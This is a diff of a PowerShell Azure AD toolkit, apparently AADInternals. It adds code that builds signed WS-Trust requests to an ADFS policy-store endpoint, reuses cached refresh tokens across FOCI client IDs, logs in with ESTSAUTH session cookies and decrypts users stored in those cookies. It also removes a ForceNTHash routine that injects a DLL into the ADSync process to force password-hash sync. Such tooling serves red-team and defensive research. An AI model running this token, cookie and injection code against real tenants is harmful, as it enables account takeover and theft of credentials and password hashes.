[Parameter(Mandatory=$True)]
[string]$Action
)
Process
{
# Set some required variables
$STSContext = $Context
$messageID = (New-Guid).ToString()
$STIdentifier = $KeyIdentifier.ToString()
$TSIdentifier = (New-Guid).ToString()
$now = Get-Date
$exp = $now.AddMinutes(5)
$created = $now.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
$expires = $exp.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
# Create nonce and derive keys for signing and encrypting
$nonce0 = Get-RandomBytes -Bytes 16
$nonce1 = Get-RandomBytes -Bytes 16
$signingKey = Derive-WSTrustKey -Key $Key -Nonce $nonce0 -Bytes 24
$encryptionKey = Derive-WSTrustKey -Key $Key -Nonce $nonce1 -Bytes 32
# Create the SOAP request and encrypt it
$cipherText = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($Payload)) -Key $encryptionKey)
#
# Create required xml elements.
# Note! Due to canonicalization MS is using in the back-end, the xml MUST NOT HAVE ANY WHITE SPACES!
# All xml elements here are already canonicalized with C14N exclusive. So, changing order of any attributes etc. will break the signature!
#
# Create a body element
$xBody = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2""><e:EncryptedData xmlns:e=""http://www.w3.org/2001/04/xmlenc#"" Id=""_3"" Type=""http://www.w3.org/2001/04/xmlenc#Content""><e:EncryptionMethod Algorithm=""http://www.w3.org/2001/04/xmlenc#aes256-cbc""></e:EncryptionMethod><KeyInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference URI=""#_1"" ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk""></o:Reference></o:SecurityTokenReference></KeyInfo><e:CipherData><e:CipherValue>$cipherText</e:CipherValue></e:CipherData></e:EncryptedData></s:Body>"
# Create a body element for calculating the digest. MUST BE "expanded" so that the cipher text is in decrypted form.
$xBody2 = "<s:Body xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_2"">$Payload</s:Body>"
$xTimeStamp = "<u:Timestamp xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""uuid-$TSIdentifier-2""><u:Created>$created</u:Created><u:Expires>$expires</u:Expires></u:Timestamp>"
$xAction = "<a:Action xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_4"" s:mustUnderstand=""1"">$Action</a:Action>"
$xMessageId = "<a:MessageID xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_5"">urn:uuid:$messageID</a:MessageID>"
$xReplyTo = "<a:ReplyTo xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_6""><a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address></a:ReplyTo>"
$xTo = "<a:To xmlns:a=""http://www.w3.org/2005/08/addressing"" xmlns:s=""http://www.w3.org/2003/05/soap-envelope"" xmlns:u=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"" u:Id=""_7"" s:mustUnderstand=""1"">http://$Server/adfs/services/policystoretransfer</a:To>"
# Calculate digests and generate the SignedInfo
$digest_2 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xBody2)
$digest_4 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xAction)
$digest_5 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xMessageId)
$digest_6 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xReplyTo)
$digest_7 = Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTo)
$TSdigest= Convert-ByteArrayToB64 -Bytes (Get-Digest -Data $xTimeStamp)
$signedInfo = "<SignedInfo xmlns=""http://www.w3.org/2000/09/xmldsig#""><CanonicalizationMethod Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></CanonicalizationMethod><SignatureMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#hmac-sha1""></SignatureMethod><Reference URI=""#_2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_2</DigestValue></Reference><Reference URI=""#_4""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_4</DigestValue></Reference><Reference URI=""#_5""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_5</DigestValue></Reference><Reference URI=""#_6""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_6</DigestValue></Reference><Reference URI=""#_7""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$digest_7</DigestValue></Reference><Reference URI=""#uuid-$TSIdentifier-2""><Transforms><Transform Algorithm=""http://www.w3.org/2001/10/xml-exc-c14n#""></Transform></Transforms><DigestMethod Algorithm=""http://www.w3.org/2000/09/xmldsig#sha1""></DigestMethod><DigestValue>$TSdigest</DigestValue></Reference></SignedInfo>"
# Generate the signature by calculating HMACSHA1 of SignedInfo using the signing key
$HMAC = [System.Security.Cryptography.HMACSHA1]::new($signingKey)
$signatureValue = Convert-ByteArrayToB64 -Bytes $HMAC.ComputeHash([text.encoding]::UTF8.getBytes($signedInfo))
# Generate Signature element and encrypt it using the encryption key
$xSignature = "<Signature xmlns=""http://www.w3.org/2000/09/xmldsig#"">$signedInfo<SignatureValue>$signatureValue</SignatureValue><KeyInfo><o:SecurityTokenReference xmlns:o=""http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd""><o:Reference ValueType=""http://schemas.xmlsoap.org/ws/2005/02/sc/dk"" URI=""#_0""/></o:SecurityTokenReference></KeyInfo></Signature>"
$encSignature = Convert-ByteArrayToB64 -Bytes (Encrypt-WSTrustCipherData -PlainText ([text.encoding]::UTF8.GetBytes($xSignature)) -Key $encryptionKey)
# Create the envelope
$envelope = @"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<s:Header>
$xAction
$xMessageId
$xReplyTo
$xTo
<o:Security s:mustUnderstand="1" xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
$xTimeStamp
<SecurityContextToken u:Id="$STSContext" xmlns="http://schemas.xmlsoap.org/ws/2005/02/sc">
<Identifier>urn:uuid:$STIdentifier</Identifier>
</SecurityContextToken>
<c:DerivedKeyToken u:Id="_0" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc">
<o:SecurityTokenReference>
<o:Reference URI="#$STSContext"/>
</o:SecurityTokenReference>
<c:Offset>0</c:Offset>
<c:Length>24</c:Length>
<c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce0)</c:Nonce>
</c:DerivedKeyToken>
<c:DerivedKeyToken u:Id="_1" xmlns:c="http://schemas.xmlsoap.org/ws/2005/02/sc">
<o:SecurityTokenReference>
<o:Reference URI="#$STSContext"/>
</o:SecurityTokenReference>
<c:Nonce>$(Convert-ByteArrayToB64 -Bytes $nonce1)</c:Nonce>
</c:DerivedKeyToken>
<e:ReferenceList xmlns:e="http://www.w3.org/2001/04/xmlenc#">
<e:DataReference URI="#_3"/>
<e:DataReference URI="#_8"/>
</e:ReferenceList>
<e:EncryptedData Id="_8" Type="http://www.w3.org/2001/04/xmlenc#Element" xmlns:e="http://www.w3.org/2001/04/xmlenc#">
<e:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes256-cbc"/>
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
<o:SecurityTokenReference>
<o:Reference ValueType="http://schemas.xmlsoap.org/ws/2005/02/sc/dk" URI="#_1"/>
</o:SecurityTokenReference>
</KeyInfo>
<e:CipherData>
<e:CipherValue>$encSignature</e:CipherValue>
</e:CipherData>
</e:EncryptedData>
</o:Security>
</s:Header>
$xBody
</s:Envelope>
"@
$HMAC.Dispose()
return $envelope
}
}
-1808
View File
File diff suppressed because it is too large Load Diff
-2010
View File
File diff suppressed because it is too large Load Diff
+242 -37
View File
@@ -13,7 +13,9 @@ function Get-AccessTokenFromCache
[Parameter(Mandatory=$True)]
[String]$Resource,
[switch]$IncludeRefreshToken,
[boolean]$Force=$false
[boolean]$Force=$false,
[Parameter(Mandatory=$False)]
[String]$SubScope
)
Process
{
@@ -24,16 +26,38 @@ function Get-AccessTokenFromCache
if([string]::IsNullOrEmpty($AccessToken))
{
# Check if cache entry is empty
if([string]::IsNullOrEmpty($Script:tokens["$ClientId-$tResource"]))
# The audience can be resource name or resource id
if($Script:tokens.ContainsKey("$ClientId-$tResource"))
{
$cacheKey = "$ClientId-$tResource"
}
else
{
# Loop through the resource ids
foreach($resId in $Script:RESIDs.Keys)
{
if($Script:RESIDs[$resId] -eq $tResource)
{
if($Script:tokens.ContainsKey("$ClientId-$resId"))
{
$cacheKey = "$ClientId-$resId"
}
break
}
}
}
if([string]::IsNullOrEmpty($cacheKey))
{
# If token not found, try to find other tokens with the same resource
Write-Verbose "Access token for $ClientId-$tResource not found. Trying to find other clients for the resource"
foreach($key in $Script:tokens.Keys)
foreach($cacheKey in $Script:tokens.Keys)
{
if($key.EndsWith($tResource))
if($cacheKey.EndsWith($tResource) -or ($resId -ne $null -and $cacheKey.EndsWith($Script:RESIDs[$resId])))
{
Write-Verbose "Found token for ClientId $($key.Substring(0,36))"
$retVal=$Script:tokens[$key]
Write-Verbose "Found token for ClientId $($cacheKey.Substring(0,36))"
$retVal=$Script:tokens[$cacheKey]
break
}
}
@@ -43,18 +67,18 @@ function Get-AccessTokenFromCache
{
Write-Verbose "Access token for $ClientId-$tResource not found. Trying to find refresh token for other FOCI clients"
# Loop through cached refresh tokens
foreach($key in $Script:refresh_tokens.Keys)
foreach($cacheKey in $Script:refresh_tokens.Keys)
{
# Extract the client id
[guid]$rtClientId = $key.Substring(0,36)
[guid]$rtClientId = $cacheKey.Substring(0,36)
if(IsFOCI -ClientId $rtClientId)
{
Write-Verbose "Using refresh token for ClientId $rtClientId"
# If FOCI client, get access token with it's refresh_token
$tenantId = (Read-Accesstoken -AccessToken $Script:tokens[$key]).tid
$refresh_token = $Script:refresh_tokens[$key]
$retVal = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientID -RefreshToken $refresh_token -TenantId $tenantId -SaveToCache $True
$tenantId = (Read-Accesstoken -AccessToken $Script:tokens[$cacheKey]).tid
$refresh_token = $Script:refresh_tokens[$cacheKey]
$retVal = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientID -RefreshToken $refresh_token -TenantId $tenantId -SaveToCache $True -SubScope $SubScope
break
}
}
@@ -68,7 +92,7 @@ function Get-AccessTokenFromCache
}
else
{
$retVal=$Script:tokens["$ClientId-$tResource"]
$retVal=$Script:tokens[$cacheKey]
}
}
else
@@ -76,7 +100,7 @@ function Get-AccessTokenFromCache
# Check that the audience of the access token is correct
$tAudience=(Read-Accesstoken -AccessToken $AccessToken).aud.TrimEnd("/")
# The audience might be the GUID
# The audience might be a GUID
if((($tAudience -ne $tResource) -and ($Script:RESIDs[$tAudience] -ne $tResource)) -and ($Force -eq $False))
{
# Wrong audience
@@ -1702,7 +1726,11 @@ function Get-AccessToken
[Parameter(Mandatory=$False)]
[string]$TAP,
[Parameter(Mandatory=$False)]
[string]$RedirectUri
[string]$RedirectUri,
[Parameter(Mandatory=$False)]
[string]$ESTSAUTH,
[Parameter(Mandatory=$False)]
[string]$SubScope
)
Begin
{
@@ -1764,7 +1792,7 @@ function Get-AccessToken
# Get token using BPRT
$OAuthInfo = @{
"refresh_token" = $BPRT
"access_token" = Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT
"access_token" = Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT -SubScope $SubScope
}
$access_token = $OAuthInfo.access_token
}
@@ -1775,6 +1803,11 @@ function Get-AccessToken
# Get token using SAML token
$OAuthInfo = Get-OAuthInfoUsingSAML -SAMLToken $SAMLToken -ClientId $ClientId -Resource "https://graph.windows.net"
}
elseif(![string]::IsNullOrEmpty($ESTSAUTH))
{
# Get token using ESTSAUTH
$OAuthInfo = Prompt-Credentials -Resource $Resource -ClientId $ClientId -Tenant $Tenant -RedirectURI $RedirectUri -SubScope $SubScope -ESTSAUTH $ESTSAUTH
}
else
{
# Prompt for credentials
@@ -1783,11 +1816,11 @@ function Get-AccessToken
($ClientId -eq "29d9ed98-a469-4536-ade2-f981bc1d605e" -and $Resource -eq "https://enrollment.manage.microsoft.com/") <# MDM #>
)
{
$OAuthInfo = Prompt-Credentials -Resource $Resource -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri
$OAuthInfo = Prompt-Credentials -Resource $Resource -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri -SubScope $SubScope
}
else
{
$OAuthInfo = Prompt-Credentials -Resource "https://graph.windows.net" -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri
$OAuthInfo = Prompt-Credentials -Resource "https://graph.windows.net" -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri -SubScope $SubScope
}
# Just return null
@@ -1798,8 +1831,6 @@ function Get-AccessToken
}
# We need to get access token using the refresh token
# Save the refresh token and other variables
$RefreshToken= $OAuthInfo.refresh_token
$ParsedToken= Read-Accesstoken($OAuthInfo.access_token)
@@ -1812,9 +1843,17 @@ function Get-AccessToken
Add-AccessTokenToCache -AccessToken $OAuthInfo.access_token -RefreshToken $OAuthInfo.refresh_token -ShowCache $false
}
# Get the access token from response
$access_token = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientId -TenantId $tenant_id -RefreshToken $RefreshToken -SaveToCache $SaveToCache
# If the token client id or resource is different than requested, get correct one using refresh token
if(($ParsedToken.appid -ne $ClientId) -or ($ParsedToken.aud -ne $Resource))
{
$tokens = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientId -TenantId $tenant_id -RefreshToken $RefreshToken -SaveToCache $SaveToCache -IncludeRefreshToken $true -SubScope $SubScope
$OAuthInfo = [pscustomobject]@{
"access_token" = $tokens[0]
"refresh_token" = $tokens[1]
}
}
$access_token = $OAuthInfo.access_token
}
# Check is this current, new, or deprecated FOCI client
@@ -1844,6 +1883,7 @@ function Get-AccessToken
}
}
# Save the final tokens to cache
if($SaveToCache -and $OAuthInfo -ne $null -and $access_token -ne $null)
{
Add-AccessTokenToCache -AccessToken $access_token -RefreshToken $refresh_token -ShowCache $false
@@ -1859,17 +1899,12 @@ function Get-AccessToken
{
try
{
# Import-Module doesn't throw an error, just prints it out.
Import-Module -Name $MgModule -ErrorVariable "moduleImportError" -ErrorAction SilentlyContinue
Import-Module -Name $MgModule
}
catch
{
Throw "$MgModule module could not be imported!"
}
if($moduleImportError)
{
Throw "$MgModule module could not be imported!"
}
}
# Initialize the graph session
@@ -1917,7 +1952,7 @@ function Get-AccessToken
{
if($IncludeRefreshToken) # Include refreshtoken
{
return @($access_token,$OAuthInfo.refresh_token)
return @($access_token,$refresh_token)
}
else
{
@@ -1955,7 +1990,9 @@ function Get-AccessTokenWithRefreshToken
[Parameter(Mandatory=$False)]
[bool]$SaveToCache = $false,
[Parameter(Mandatory=$False)]
[bool]$IncludeRefreshToken = $false
[bool]$IncludeRefreshToken = $false,
[Parameter(Mandatory=$False)]
[String]$SubScope
)
Process
{
@@ -1974,7 +2011,7 @@ function Get-AccessTokenWithRefreshToken
}
else
{
$url = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$url = "$(Get-TenantLoginUrl -SubScope $SubScope)/$TenantId/oauth2/token"
}
# Debug
@@ -2336,17 +2373,18 @@ function Get-AccessTokenUsingAADGraph
}
# Apr 22th 2022
# Shows users stored in ESTS cookie
function Unprotect-EstsAuthPersistentCookie
{
<#
.SYNOPSIS
Decrypts and dumps users stored in ESTSAUTHPERSISTENT
Decrypts and dumps users stored in ESTSAUTH or ESTSAUTHPERSISTENT
.DESCRIPTION
Decrypts and dumps users stored in ESTSAUTHPERSISTENT using login.microsoftonline.com/forgetUser
Decrypts and dumps users stored in ESTSAUTH or ESTSAUTHPERSISTENT using login.microsoftonline.com/forgetUser
.Parameter Cookie
Value of ESTSAUTHPERSISTENT cookie
Value of ESTSAUTH or ESTSAUTHPERSISTENT cookie
.Example
PS C:\>Unprotect-AADIntEstsAuthPersistentCookie -Cookie 0.ARMAqlCH3MZuvUCNgTAd4B7IRffhvoluXopNnz3s1gEl...
@@ -2381,17 +2419,127 @@ function Unprotect-EstsAuthPersistentCookie
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[String]$Cookie
[String]$Cookie,
[Parameter(Mandatory=$False)]
[String]$SubScope
)
Process
{
Remove-UserFromEstsAuthPersistentCookie -Cookie $Cookie -SessionID "00000000-0000-0000-0000-000000000000" -ShowContent $true
<#
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$cookieDomain = $loginUrl.Split("/")[2]
$session.Cookies.Add((New-Object System.Net.Cookie("ESTSAUTHPERSISTENT", $Cookie, "/", ".login.microsoftonline.com")))
Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/forgetuser?sessionid=$((New-Guid).toString())" -WebSession $session
$session.Cookies.Add((New-Object System.Net.Cookie("ESTSAUTHPERSISTENT", $Cookie, "/", $cookieDomain )))
Invoke-RestMethod -UseBasicParsing -Uri "$loginUrl/forgetuser?sessionid=00000000-0000-0000-0000-000000000000" -WebSession $session
#>
}
}
# Apr 22th 2022
# Removes a user from the ESTS cookie
function Remove-UserFromEstsAuthPersistentCookie
{
<#
.SYNOPSIS
Removes the given user from ESTSAUTH or ESTSAUTHPERSISTENT
.DESCRIPTION
Removes the given user from ESTSAUTH or ESTSAUTHPERSISTENT using login.microsoftonline.com/forgetUser
The signed in user or the only user can't be removed.
.Parameter Cookie
Value of ESTSAUTH or ESTSAUTHPERSISTENT cookie
.Parameter SessionID
The session ID to be removed
.Parameter UserName
The user to be removed
.Parameter ShowContent
If true, shows the content of the cookie instead of returning new cookie
.Example
PS C:\>$ESTSCookie = Remove-AADIntUserFromEstsAuthPersistentCookie -UserName "user@company.com" -Cookie "0.ARMAqlCH3MZuvUCNgTAd4B7IRffhvoluXopNnz3s1gEl..."
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Cookie,
[Parameter(ParameterSetName='ID',Mandatory=$True)]
[String]$SessionID,
[Parameter(ParameterSetName='User',Mandatory=$True)]
[String]$UserName,
[Parameter(Mandatory=$False)]
[boolean]$ShowContent=$False,
[Parameter(Mandatory=$False)]
[String]$SubScope
)
Process
{
if(![string]::IsNullOrEmpty($UserName))
{
# Get the list of users
$users = Unprotect-EstsAuthPersistentCookie -Cookie $Cookie
if($users.Count -eq 1)
{
Write-Warning "The only user can't be removed."
}
foreach($user in $users)
{
if($user.login -eq $UserName)
{
$SessionID = $user.sessionID
if($user.isSigned)
{
Write-Warning "Signed in user can't be removed"
}
break
}
}
if([string]::IsNullOrEmpty($SessionID))
{
throw "User $username not stored in the given token"
}
}
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$loginUrl = Get-TenantLoginUrl -SubScope $SubScope
$cookieDomain = $loginUrl.Split("/")[2]
$session.Cookies.Add((New-Object System.Net.Cookie("ESTSAUTHPERSISTENT", $Cookie, "/", $cookieDomain )))
$response = Invoke-WebRequest2 -Uri "$loginUrl/forgetuser?sessionid=$sessionID" -WebSession $session -ErrorAction SilentlyContinue
# Dump the content
if($ShowContent)
{
return $response.content | ConvertFrom-Json
}
else
{
# Return the new cookie
# For some reason, the web session is not updated with the new cookie :(
#$ESTSCookie = $session.Cookies.GetCookies($loginurl).Item("ESTSAUTHPERSISTENT").value
try
{
$ESTSCookie = Get-StringBetween -Start "ESTSAUTHPERSISTENT=" -End ";" -String $response.Headers.'Set-Cookie'
}
catch
{
Write-Warning "No ESTSAUTHPERSISTENT cookie was returned. The removed user/session didn't exist, the user was signed in, or there was just one user."
}
return $ESTSCookie
}
}
}
# Returns access token using Azure Instance Metadata Service (IMDS)
# Nov 8th 2022
@@ -2489,4 +2637,61 @@ function Get-AccessTokenUsingIMDS
# Return
$response.access_token
}
}
# Gets app consent info
# Sep 13th 2024
function Get-AppConsentInfo
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$ClientId,
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(Mandatory=$False)]
[string]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[string]$OTPSecretKey,
[Parameter(Mandatory=$False)]
[string]$TAP,
[Parameter(Mandatory=$False)]
[string]$RefreshTokenCredential
)
Process
{
# Get the config using the provided credentials
$config = Get-AuthorizationCode -ClientId $ClientId -Tenant "common" -AppConsent -OTPSecretKey $OTPSecretKey -TAP $TAP -RefreshTokenCredential $RefreshTokenCredential -Certificate $Certificate -PfxFileName $PfxFileName -PfxPassword $PfxPassword -Credentials $Credentials
if($config -eq $null)
{
Throw "Unable to get app information"
}
$appInfo = [pscustomobject][ordered]@{
"Name" = $config.sAppName
"VerifiedPublisher" = $config.sAppVerifiedPublisherName
"WebSite" = $config.sAppWebsite
"Created" = $config.sAppCreatedDate
#"Settings" = $config.urlAppSettings
"TermsOfService" = $config.urlAppTermsOfService
"PrivacyStatement" = $config.urlAppPrivacyStatement
"Logo" = $config.urlAppLogo
"InDifferentTenant" = $config.fAppInDifferentTenant
"Scopes" = $config.arrScopes
"ReplyUrls" = $config.arrAppReplyUrls
}
if([string]::IsNullOrEmpty($appInfo.Name))
{
Write-Warning "No information returned, maybe app is already consented?"
}
else
{
return $appInfo
}
}
}
+278 -606
View File
File diff suppressed because it is too large Load Diff
-61
View File
@@ -1,61 +0,0 @@
# This script contains functions for client side
<#
.SYNOPSIS
Gets the Office update branch of the local computer
.DESCRIPTION
Gets the Office update branch of the local computer from the registry
.Example
Get-AADIntOfficeUpdateBranch
Update branch: Current
#>
# Jul 8th 2019
function Get-OfficeUpdateBranch
{
Param(
[ValidateSet('16.0')]
[String]$Version="16.0"
)
Process
{
$reg=Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\"
Write-Host "Update branch: $($reg.updateBranch)"
#Write-Host "Automatic updates enabled: $($reg.EnableAutomaticUpdates -ne 0)"
}
}
<#
.SYNOPSIS
Sets the Office update branch of the local computer
.DESCRIPTION
Sets the Office update branch of the local computer to the registry. Requires administrator rights!
.Example
Set-AADIntOfficeUpdateBranch -UpdateBranch InsiderFast
Update branch: InsiderFast
#>
# Jul 8th 2019
function Set-OfficeUpdateBranch
{
Param(
[ValidateSet('16.0')]
[String]$Version="16.0",
[ValidateSet('InsiderFast','FirstReleaseCurrent','Current','FirstReleaseDeferred','Deferred','DogFood')]
[String]$UpdateBranch="Current"
)
Process
{
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\" -Name "updateBranch" -Value $UpdateBranch
Get-OfficeUpdateBranch -Version $Version
}
}
+206 -789
View File
File diff suppressed because it is too large Load Diff
-169
View File
@@ -116,172 +116,3 @@ function Get-UserNTHash
}
}
}
# ForceNTHash functions
# Some constants
$AADConnectServiceName = "ADSync"
$AADConnectProcessName = "miiserver"
# Aug 21st 2023
function Install-ForceNTHash
{
<#
.SYNOPSIS
Installs ForceNTHash to the current computer.
.DESCRIPTION
Installs ForceNTHash to the current computer.
ForceNTHash enforces Windows legacy credential sync. Credentials are encrypted using ForceNTHash.pfx certificate.
.EXAMPLE
Install-AADIntForceNTHash
#>
[cmdletbinding()]
Param(
[switch]$EnforceFullPasswordSync
)
Process
{
# Chech that running as administrator and that the service is running
Test-LocalAdministrator -Throw | Out-Null
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
if([String]::IsNullOrEmpty($service))
{
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
return
}
$promptValue = Read-Host "Are you sure you wan't to install ForceNTHash to this computer? Type YES to continue or CTRL+C to abort"
if($promptValue -eq "yes")
{
# We need to restart so we can inject before GetWindowsCredentialsSyncConfig is called
Restart-Service $AADConnectServiceName
# But still wait a couple of seconds
Write-Warning "Sleeping for five seconds.."
Start-Sleep -Seconds 5
# Get the process id
$process = Get-Process -Name $AADConnectProcessName -ErrorAction SilentlyContinue
$processId = $process.Id
# Inject the dll
$result=Inject-DLL -ProcessID $processID -FileName "$PSScriptRoot\ForceNTHash.dll" -Function "Patch"
Write-Verbose "Inject-DLL result: $result"
if($result -like "*success*")
{
Write-Host "Installation successfully completed!"
Write-Host "Windows legacy credentials sync is now enforced and credentials are encrypted with ForceNTHash certificate."
if($EnforceFullPasswordSync)
{
Initialize-FullPasswordSync
}
return
}
else
{
Write-Error "Installation failed: $result"
return
}
}
}
}
# Aug 18th 2023
function Remove-ForceNTHash
{
<#
.SYNOPSIS
Removes ForceNTHash from the current computer
.DESCRIPTION
Removes ForceNTHash from the current computer by restarting ADSync service.
.EXAMPLE
Remove-AADIntForceNTHash
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
Service restarted and ForceNTHash removed.
#>
[cmdletbinding()]
Param()
Process
{
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
if([String]::IsNullOrEmpty($service))
{
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
return
}
Restart-Service $AADConnectServiceName
Write-Host "Service restarted and ForceNTHash removed."
}
}
# Aug 21st 2023
function Initialize-FullPasswordSync
{
<#
.SYNOPSIS
Enforces password hash sync of all users.
.DESCRIPTION
Enforces password hash sync of all users.
.EXAMPLE
Initialize-AADIntFullPasswordSync
#>
[cmdletbinding()]
Param()
Process
{
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
if([String]::IsNullOrEmpty($service))
{
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
return
}
# ref: https://learn.microsoft.com/en-us/azure/active-directory-domain-services/tutorial-configure-password-hash-sync
Import-Module "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\AD Sync" -Name "Location" )\Bin\ADSync\ADSync.psd1"
Import-Module "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Name "InstallationPath")\AdSyncConfig\AdSyncConfig.psm1"
$connectors = Get-ADSyncConnector
if($connectors.Count -ne 2)
{
Throw "Connector count is not 2, can't automatically select connectors"
}
# Define the Azure AD Connect connector names and import the required PowerShell module
$azureadConnector = (Get-ADSyncConnector | where Type -ne "AD").Name
$adConnector = (Get-ADSyncConnector | where Type -eq "AD").Name
# Create a new ForceFullPasswordSync configuration parameter object then
# update the existing connector with this new configuration
$c = Get-ADSyncConnector -Name $adConnector
$p = New-Object Microsoft.IdentityManagement.PowerShell.ObjectModel.ConfigurationParameter "Microsoft.Synchronize.ForceFullPasswordSync", String, ConnectorGlobal, $null, $null, $null
$p.Value = 1
$c.GlobalParameters.Remove($p.Name) | Out-Null
$c.GlobalParameters.Add($p) | Out-Null
$c = Add-ADSyncConnector -Connector $c
